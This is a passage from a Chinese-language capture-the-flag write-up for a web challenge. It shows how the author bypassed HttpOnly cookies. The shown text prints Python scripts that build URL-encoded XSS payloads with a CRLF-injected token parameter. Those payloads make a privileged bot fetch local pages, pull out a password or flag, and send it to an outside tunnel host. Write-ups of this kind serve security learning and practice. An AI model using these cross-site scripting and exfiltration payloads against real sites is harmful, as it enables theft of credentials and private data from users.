A=A+'&token=11%0D%0A%0D%0A11'#到这里的A是想让影子走路人访问的地址
A=urllib.parse.quote(A)#第二次编码,因为要先传给影子走路人
print(A)
pyperclip.copy(A)


由于我们先把payload交给shad0wwalker,shad0wwalker再去访问,所以要执行第一次编码

hackbar提交需要”手动“执行第二次编码

hackbar里POST提交send=运行结果password=YOUGOTTHEPASSWD

(也可以不加第二次编码,而是在send框内里直接提交第一次编码完拼接后的payload,让浏览器代行)

在/flag2.php里找到hint:httponly,结合这一题的名字byP4ss,应该是要绕过httponly了

能查到的方法,也就phpinfo泄露cookie相对合理

但是由于我们没有cookie,所以phpinfo泄露不出来……

🤓👆 那么让有cookie的人去访问不就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pyperclip
import urllib.parse

#感谢不知名大佬赞助的框架
A="""\"><script>var req = new XMLHttpRequest();
req.onload = reqListener;
var url = 'http://127.0.0.1/info.php';
req.withCredentials = true;
req.open('GET', url, false);
req.send();
function reqListener()
{var req2 = new XMLHttpRequest();
const sess = this.responseText.match(/password=\w+/)[0];
req2.open('GET', 'https://406f44d5.r24.cpolar.top/?data=' + btoa(sess), false);
req2.send()
};</script>"""

A=urllib.parse.quote(A,safe='/:?=&')
A=A+'&token=11%0D%0A%0D%0A11'
print(A)
pyperclip.copy(A)

把上面脚本的输出payload send给Suzuran,在监听的段口处获取到password

password=HTTPONLYWASDOWN

http://prob00-039.recruit.yulinsec.cn/sennnnnd3.php

在flag页面发现“你的IP:10.222.0.22你并不来自本机(这无法绕过)!或者你的session错误或早已过期(限制3s)….”

窃取完PHPSESSID并用∠本访问后发现还是不行

既然session没有过期,那就只能是IP的问题,于是选择让FAKEsake访问flag页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
import pyperclip
import urllib.parse

payload="""\"><script>var req = new XMLHttpRequest();
req.onload = reqListener;
var url = 'http://127.0.0.1/fl4ggggg.php';
req.withCredentials = true;
req.open('GET', url, false);
req.send();
function reqListener()
{var req2 = new XMLHttpRequest();
const sess = this.responseText.match(/Yulin(.*?)}/)[0];
req2.open('GET', ' https://3ef4520b.r24.cpolar.top/?data=' + btoa(sess), false);
req2.send()
};</script>"""

payload=urllib.parse.quote(payload,safe='/:?=&')
payload=payload+'&token=11%0D%0A%0D%0A11'
print(payload)
pyperclip.copy(payload)

# 创建一个TCP/IP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定到127.0.0.1:8080
server_address = ('127.0.0.1', 8080)
sock.bind(server_address)

# 监听连接,允许最大5个连接等待
sock.listen(5)

print("服务器正在运行,监听127.0.0.1:8080...")

try:
connection, client_address = sock.accept()
try:
print(f"连接来自: {client_address}")

while True:
data = connection.recv(1024)
if data:
A = data.decode()
print(f"接收到数据: {A}")
connection.sendall(data)
break # 发送完数据后,立即退出循环
else:
break
finally:
# 关闭连接
connection.close()
except KeyboardInterrupt:
print("服务器正在关闭...")
finally:
sock.close() # 可以在这里关闭套接字,清理资源

唐喵

在附件里的BOOT_INF–classes–application里找到flag1以及其余flag的提示(?)